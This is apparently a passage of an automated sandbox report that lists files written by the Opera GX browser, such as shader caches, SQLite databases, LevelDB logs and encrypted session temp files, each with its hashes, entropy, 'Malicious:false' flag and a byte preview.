                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ShaderCache\data_2

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8192
                                                                                                                                                                                                              Entropy (8bit):0.011852361981932763
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:0962291D6D367570BEE5454721C17E11
                                                                                                                                                                                                              SHA1:59D10A893EF321A706A9255176761366115BEDCB
                                                                                                                                                                                                              SHA-256:EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
                                                                                                                                                                                                              SHA-512:F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ShaderCache\data_3

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8192
                                                                                                                                                                                                              Entropy (8bit):0.012340643231932763
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:41876349CB12D6DB992F1309F22DF3F0
                                                                                                                                                                                                              SHA1:5CF26B3420FC0302CD0A71E8D029739B8765BE27
                                                                                                                                                                                                              SHA-256:E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
                                                                                                                                                                                                              SHA-512:E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ShaderCache\index

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):262512
                                                                                                                                                                                                              Entropy (8bit):9.553120663130604E-4
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:C5F357630D3F933716D08893787C6861
                                                                                                                                                                                                              SHA1:563177CEEB407F98CF50628AF6CDD111216A75C6
                                                                                                                                                                                                              SHA-256:66F34B97B84C43B4498215F7A55F6756D448199CDB7B708F7E6258BDB665658D
                                                                                                                                                                                                              SHA-512:387C834D1DC283D852381BB1530F641DC4BC457F4343C22F26FDFEA3A03AD7588DCB0D8E1B78CEEF90C8EC2551B26D844A5FB152EE5B27242E89CC7CEA9AC6C1
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............................................./.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\SharedStorage

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:SQLite 3.x database, last written using SQLite version 3045002, writer version 2, read version 2, file counter 1, database pages 1, cookie 0, schema 0, unknown 0 encoding, version-valid-for 1
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):4096
                                                                                                                                                                                                              Entropy (8bit):0.0905602561507182
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:B016510815CFC2BCD2E04D07A0D4CF80
                                                                                                                                                                                                              SHA1:8B67DFF3DEBD7898315D5051C1CA791E3EC9E25F
                                                                                                                                                                                                              SHA-256:02E374A9C1AFDD0D65F515922C3343CD3EA5CC8CCEA04D9F026A9406AF752B55
                                                                                                                                                                                                              SHA-512:5AF6956CC960770D5651B19096A0F55143CAC4FE79F76054042180E9EBBB322A9B1A29DC4FBBB8C12BD8708BB2AF67C8B4280B70B0D1192021FD8D423333344B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:SQLite format 3......@ ..........................................................................v.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\SharedStorage-journal

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:SQLite Rollback Journal
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):512
                                                                                                                                                                                                              Entropy (8bit):0.28499812076190567
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:F09A309AD140CA85BB96F8D0BB809704
                                                                                                                                                                                                              SHA1:3D672988607365E54534AEBC4376BC636C10EB0F
                                                                                                                                                                                                              SHA-256:E2DC61B29C9D2537BBA3E797CF51E09AA55D6F0BC84BE826A46EDCA2CB68E66D
                                                                                                                                                                                                              SHA-512:756A93B3F644A493671ACF0C1C89CD02489C3BE922C2A697F3BE6EA194A5F6D1BF76D23B650B8BFD89A1C0522B69CF1DE2C6FAC9706A90B2F3386375BD6F0260
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.... .c.....l/..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Shortcuts

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:SQLite 3.x database, last written using SQLite version 3045002, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):20480
                                                                                                                                                                                                              Entropy (8bit):0.4355788121928965
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:D08E89C67B96F8B4C69549952F40D807
                                                                                                                                                                                                              SHA1:99B421E849CA76AD8CF3A45FC212961306F1272C
                                                                                                                                                                                                              SHA-256:573AEB98AD60F2762917498C221DCDD1190678FC214C8DBE9347AA8086AE8765
                                                                                                                                                                                                              SHA-512:9199F7C19792F62812076722F3DCF2585E22857B6041772E76101455C68216D66F209D87B291946AD574D4769428D4CC8BA94BF5E6F8B2BFB1F6DD4B232FAE5B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:SQLite format 3......@ ..........................................................................v..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Site Characteristics Database\000001.dbtmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):16
                                                                                                                                                                                                              Entropy (8bit):3.2743974703476995
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:46295CAC801E5D4857D09837238A6394
                                                                                                                                                                                                              SHA1:44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
                                                                                                                                                                                                              SHA-256:0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
                                                                                                                                                                                                              SHA-512:8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Site Characteristics Database\000003.log

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):40
                                                                                                                                                                                                              Entropy (8bit):3.473726825238924
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:148079685E25097536785F4536AF014B
                                                                                                                                                                                                              SHA1:C5FF5B1B69487A9DD4D244D11BBAFA91708C1A41
                                                                                                                                                                                                              SHA-256:F096BC366A931FBA656BDCD77B24AF15A5F29FC53281A727C79F82C608ECFAB8
                                                                                                                                                                                                              SHA-512:C2556034EA51ABFBC172EB62FF11F5AC45C317F84F39D4B9E3DDBD0190DA6EF7FA03FE63631B97AB806430442974A07F8E81B5F7DC52D9F2FCDC669ADCA8D91F
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.On.!................database_metadata.1

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Site Characteristics Database\CURRENT (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):16
                                                                                                                                                                                                              Entropy (8bit):3.2743974703476995
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:46295CAC801E5D4857D09837238A6394
                                                                                                                                                                                                              SHA1:44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
                                                                                                                                                                                                              SHA-256:0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
                                                                                                                                                                                                              SHA-512:8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Site Characteristics Database\LOG

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):317
                                                                                                                                                                                                              Entropy (8bit):5.088902392755243
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:ACF86F4783286E233368A8E706D0B629
                                                                                                                                                                                                              SHA1:E4B36C32E238BC29F68D136828D9C940DD18EB3E
                                                                                                                                                                                                              SHA-256:D776CEC6A2A6F6EEA710A6EE242511EB278EA055B5C47CB04F7D4412224BBC98
                                                                                                                                                                                                              SHA-512:85FDBACFC64F7E032A4A3A0E728241755ACC0024BAD6900D84B51819788364776EB9C4DAFCCA1E469544F49A00A4131943939DD4C54C5418E0B3150C4B84279D
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:2024/10/13-04:34:08.102 1a2c Creating DB C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Site Characteristics Database since it was missing..2024/10/13-04:34:08.348 1a2c Reusing MANIFEST C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Site Characteristics Database/MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Site Characteristics Database\MANIFEST-000001

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:OpenPGP Secret Key
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):41
                                                                                                                                                                                                              Entropy (8bit):4.704993772857998
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5AF87DFD673BA2115E2FCF5CFDB727AB
                                                                                                                                                                                                              SHA1:D5B5BBF396DC291274584EF71F444F420B6056F1
                                                                                                                                                                                                              SHA-256:F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
                                                                                                                                                                                                              SHA-512:DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.|.."....leveldb.BytewiseComparator......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\01e811a5-db45-4eb9-be65-77cedf418293.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9422
                                                                                                                                                                                                              Entropy (8bit):7.980568745228526
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:0847FBCBE8F5DEDA318F68F9408BA6BD
                                                                                                                                                                                                              SHA1:2FD5F24560F4B28B6D5D6535ADB9A11EA836F33E
                                                                                                                                                                                                              SHA-256:6DA797D8B033DDF6EB25DBAB46156431C0AFE024106EB525CDE8FB705EC1E3B9
                                                                                                                                                                                                              SHA-512:E39C46301E485CE4525656E627BAD3AF966018CA84E42EEA100F3E3D18BDB974E9171F699246A3A90A16DEECAD2DE2788031A757647E362AE0D3C96BBA3D29C8
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XdfYM2Xkf3GyEas4HN+i2K2BAEFrA4ZioUNVIB6wqtfU=........k.../.H.+./.......nk|IR...x.C.Cc.o.A5Q..L...-L..w.C..$D.Z..x'..D.0r.g.aD.....~zj..`..?.zGQ.lT0....ds..I...+..g..4...;.n.xW......@...A.".~ku....7G....B?.....yN..v.h......jF...'.V.d...e6 y-b"..>..Y:.-?...|.Ka.q...=.O..N...A.(...Z..p..k..7...D.U..Ea..O...eRxAN..X....w...E....yvl..H.T$....I.U>....qw~.....^....|...3j.O7J....$./N..;W.d..n...m.............n"...6G.....\..a............MI...r...U.#..%..!....;...?J......ci..}...`..v>.N..M<..GAM}.O...(.'.m-.f(.4:.;.......u+y.6.C.....U..C5...O._=.m%....c&?pd....j..QC..'}.T$$..v..B.(P.*E.....YpW.B...Y...z*..0?...2......h.$.....0..C.....Y.....v9ED..z.Z...0..|...=dH.x.{9.l...F.o.mb.g|u#..p..R$..SC.......>..65.c..KN..+.7..#4....I8.......P/..E....y^...rGd D.2..x..j..sIM8....P&...Oy.p......wH....#.@..z".r..#`9....(..%7C.B.^.....d.k. .......+U..X..C..G....z).3..6.'..~...p4..l).C...w."i.`..'~...V..;E#....?.P2...U6....U....@1.]..t...........pe....1X....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\0370d2bb-3adb-4369-b144-00893b107c32.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):7997
                                                                                                                                                                                                              Entropy (8bit):7.977486111241392
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:8F29D203E182CD1375F6FB048FE17592
                                                                                                                                                                                                              SHA1:2DF6367B0BF20F57DB7395251D95D918FD9A1536
                                                                                                                                                                                                              SHA-256:F67677B7091B884A2C84C63AFF63BBC9F536422F07831FD5196C9CEA4F020ABC
                                                                                                                                                                                                              SHA-512:936725BFBE43EEA877BD55CE7B6135ACC29F1C7D2571498D7B84EFCC70B2369BD6B78925793100FE54B9D53159BF2763334800D0541659254D735CE7A58F66C4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X1WJWrz9kaePNF6EQ5L6ihuzgRpFh3mWPIi4AnqT02/g=.....|....h.*..._[........"..........."..#...WO.i.%9D...rn.4'...VA.....]1..O.2..h..y......3...(...4v........t.Y=.).U....O.J..j..k...GPY..q......"Q....z..U....8k=.(D.R^'.M..i.*..1............5..@...O.[_.U.f.......#...8....ll.Z,...n.C.J.?.o....B..;*.=....*a.p.$....@....`..$f.....(.B.....:i...P..asN$...]..E..<..V.z.r.^.rr%...q$.H..e..A.u.....f>v.....M.%l.VD...dGD.j..r../.;;.........t.P.n:......$...]1.=...A.6......y.2..$.T.z....A.c"....X".?d.e..6!5._.i.f..6..U.^.....P.l2........_.A....&%..xm.....mHeWs..O).=..3..!.....Q;)...*.b./..5...r.d...ut`...~......3t...dV.@...R..J<.2..T.b.....acN4T....Y.BI.......`......Q...6...OS.}./.Cg.p...i..c.*...zP..k...I%Z.0._3..|@=......M..~.....Sb....g.....Z.....B.7K.......2}xJ.{._s.....[]./.hIA;4....aU...G..#..5..|..k....i`.l$OJ...[......S.......T.z.y....~ZphZq)$k..C.........q.+B..<...r.aW...>;.SLSCT._..W=~0.....v[..X.L..F..2..l.=.:-S*...^dw2.h.x.(....Ap....H.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\067ec429-16f8-4895-94d1-f79a9befcd3d.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.981329135388188
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:F4B0BB534FEC4A230E48577BA20C58D0
                                                                                                                                                                                                              SHA1:6B223C0A8ED376D082BD7DDE270F883DB05B7E0E
                                                                                                                                                                                                              SHA-256:B9604BFF951470645C17AC7FC34E067153AAA4EFFA854FFA769FBCFBA8FF77ED
                                                                                                                                                                                                              SHA-512:28BEC1844A67D6DB3B4AF8AB85EDC809906EEA1EF9B80E7D656E0AFF0E210904D6B3544222E0E89F4564E2F5ED769AEA72C3E57D24B276E745B070716D11CD18
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XtHd6SSUAaHMATdkBNPKvzDVJLoDedsBOtLXiVVdcdmk=..........Ik.4.^.._.R...W`w.......<z.s..{.d..}i\m....h...K=..|.........}.X....+M.e!..y.12.<.....is2E.....,q.6L.,7/....9.........j.7.M.y.b.iFo/.J..[V.@..:.J........!E...(W...D.........:P..*.T....c...`H.b....*.;.-8#...Y.$......!.f. R.(BKY..Y.q.^..SM9LW..1..%..Z.8.J.-<..+.T<O.... .+:..b....Z......W...-...FX.F[.L>4.LY.x........w/....M$_. .j..n......... ..s...G..}...do.....$Yp=...l..M:H6.z..L...p.#`0..|.\[.8[..FTJ.o....Ep..I....^.V?'.F..mR&...n\.K.......R.M.C..x..@..3..`.c...fH...."..$.&4*..~5........-u.H.[.L^.M.Q/..........^.$...K..lj..7L..rRH..... !.{C."...a.............:.......N.D.....H..._../:.\...).Cy....;JC.b...8Y.df*.......c...?..+....`mR]"...8@.K(..5...|.lze...X..Z....eS.A.|..5.Rj.......F.0.{. ..........z.qB.....8....$t+..U....-....^.....1J'...Q........Z."v/.Y@..\%)-.._49....)U.e,..:q.~4...... ..9s..b...:~mZ...E.....X.E.:.../...D..-_YV..]h..... .`.`tp>+v.w..e.jmB.k[.P....\..|!F.....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\08311708-39d4-4478-8d81-92385ee91c39.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9422
                                                                                                                                                                                                              Entropy (8bit):7.979971933869709
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:B5E98DB5ABB108DCB0C30068C46EEDF3
                                                                                                                                                                                                              SHA1:549198D0FF5AD0B0445A74559F2AF8FCA23E1353
                                                                                                                                                                                                              SHA-256:2ACC3F4DF10EED3F27CADC21B0E668BFEA4FE278B75CA36E8D3506C17FD89D4D
                                                                                                                                                                                                              SHA-512:5CB38F2D4A0473D7FA9366C313933BDF1389B088C7E6689484D62898FFA258E181C9065ADF13FAAB9FC73B01008974E16502CD63B19C77C5C584A3B9F5F15C04
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XXEXM+AUsJlAnilpnFugMeNNgAiT0SWsZEBgyqmg4NMc=.......<$.../..."..to.C@ ../..K....R-_..F.".'.{.1..3i.k....2..e...mWo.....[.....{....Co...6y.=.G...m?.6.......\/.BK..!.....?..2...I.....G....^.;-.......b\a..8......a.......f..w.+qKV...@'...K.....1..HY...:)..}...!.b+.E.........k...q. ...[0}T..:a.y..~9.>.^_`.O..m.p...6.@8.W.hx)xJ.W..C..Qo.4.'....}.?..n.9.F..p.!S$....=.......`.9z.&..4Q.>..,.u..9a2..U..E%.$..p..<du".p.PX.'....XxxUf....-MD8A.Of...u..NQ.X.P...~........m.-./.)....L..g.R.......7...BG5..?......p..P.I.....`4..`]......(8K.......03R..':.s..(.j1h.Hx...%h.6zp8..W.}9..X.g.4..HyE....g...{.w.....?.]y.v)..2.u\.4.m.......^.{.g.].'.....D6P4..Zd..........M.w.6....&.......2i+G..(..tX&..$R..5..c.{...SJT.Ax..a......46|w7.D-..r<...q......X.*.H.1.B..+u...EH...Hoe....:.Z.7/...@:..xx...v..n5L..[..t..^.6...oM....1...f.9..g._.E.)..E...Q.......}.H....m.dm.b..*..s.[..zK...7...........V..@4...V..2..8O3.....91........q..H...RR/..7C.....0..T.....u

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\0e875413-8360-4eba-8b34-263ab8943a0c.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2605
                                                                                                                                                                                                              Entropy (8bit):7.917098585602855
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:8F08930C78D6E50141F412B9AC63D95E
                                                                                                                                                                                                              SHA1:C2157B64D5B0DDC5A107A47071DE98EE03E7D051
                                                                                                                                                                                                              SHA-256:CA59FC45533E85D688EE32ED819B8EED222CF9B82D7016A3EA06F8F7DA676056
                                                                                                                                                                                                              SHA-512:CE5B82BB79975CD334B68BDB941E23F731D6837690D43435C79005422CDAEDA385B8533F4F3DA35D41C5363D6280CF50057792472CC0742481A52653CC0D7DB9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X70xeGSboo6d+5C4Qs91C/nMsi6cih2rqJF8aD6tsy7k=.....'.q.}\.;p.I..P...9.O.E.~...."..5.........S..".h>.\...%...EA.. ...$,F.N...._?..f..v.p{..5...M..OL.^F.T....Xy...rn.\...nL......4.\.k..')D*...oC..!..L.m*.\.....~.?.D...\..e..6.'.....R.|5.%:t{_.\|.Bq}8Jk......~.~o.............U.....i.K..N.l.O....t...MI..`.?nC.v?.u.....Q.T..C].....].....].......v9........)..m......z.XF..O.z.%S.R7..qu5mIh..........V.....M.).....]."9.'h==._.7..7.u^.>mG..3t...f.F.<.1.af..M6..>...9I..-.).d.....S..7y...:..-b....d.C3..B.x.......r...AuA....X@....]<#...tj.+.Q..1..%."...R.#..$...O.>..D.>....eGG1.#..(J<y.;R..<...Y....]...1 .....+.lv%.......8.&@..[...$..S...&D.......y.C.TR1J.D...du..WD.E/.up....jJ.s..%.....&..a..*...h..8 <.7.8z.'|..... ...Bi.r......m7..+..$..'!..J>...('s......?.......s......"..D....+./X)....V..........ae...C...h..:c..]o../'..%i...g..v.....A..z4.r...Y..r....;._>+......%._054....9....0Fc.,.w`.o.D.l.......a3.u.$.p.@D.s......z.).U.fz.0....%.Nc..Y....z.a.s."

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\11895094-1da9-4aa8-96fd-cef315d8573d.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9422
                                                                                                                                                                                                              Entropy (8bit):7.982567195211424
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:9F8D671617200283D2DDFC1621586B69
                                                                                                                                                                                                              SHA1:84E06C42EB8A86E0CDCDE432249B1D46DD7F9452
                                                                                                                                                                                                              SHA-256:7D3939815C8A1961227ECB7A967E4A8DC8E40FECC92A64CCC409EC61CE94BDDF
                                                                                                                                                                                                              SHA-512:14DC293BD3CE6536D99AAED710ED9BD41E79EEA9002614D01115EA3E5DC8972D471E454326F89E8610000C301F51F4A16885CDC1035896AB6751CB0EDE960C51
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X7o2cMEVnls37A+9qTTZTxUhBXHsl7/apwqfPjOf036M=........[L.2.}.Q....V..R..*"..MET)....jn0F8.....fb..7-^.w6...ff......2.uw......#..U.*..J....b..k.cz\E#.>..E....y.d...Y.\.S.z....{..We..M.1....%-..+.......w....*....e.k.4...qX._P../-7"............ A.kR....'.~.k!.N.2>."..U..D.Ao.=..G.......n)h.!....3.a.. ..8.......a.s.._..G9.HL.{S.G.=........7.kE).]..d.t.j...{~..f.NMs.O..&e.q..['...x...V83c../..bY..a.l.V..?..i..w:.O..t~:.#n.5r...,..hLL.&.r...k..0.#.\.K>.L.`Y...@..%..1H...`.92.dAb..e.T..t7......"..n....d_G..pc..E..I..V...Xu%...+.m..I.....}....A....../..mC(..oJ...9..l...B;iDX.z...q..5..u|....`.`..\.0....C.0T..M}vP.&..G<...y/fN..h../..mB..q..o7.....~B.'...../..f... u..........&V..0}.A`o.^....Yl....7O....~..V!..f......V.l..(.q..,nK......`\,y.x.`~8.APx.....h...u..Z.....1..&..~(.{..bi..1o...y..`O.=.....!.<.....f......K....o3.n.(W/.#C..G..........p.N..#.%....i.......-.......m#.OD...ux..oA.y...$.F.HP.e.....%..'@....6..Z.>a.).....0s..`...V.....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\12d28cb8-7fd1-4ebd-99fd-24911e416b6a.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9646
                                                                                                                                                                                                              Entropy (8bit):7.97953050625359
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:BC12E40402C58950F32C14E613AB8569
                                                                                                                                                                                                              SHA1:2B893E9E9ECA202086A6A9738ABA3FBB7F62A626
                                                                                                                                                                                                              SHA-256:B504164BABDD7BE3358CC28729696A4A943991CA43CCFF14FCA6692C2554406C
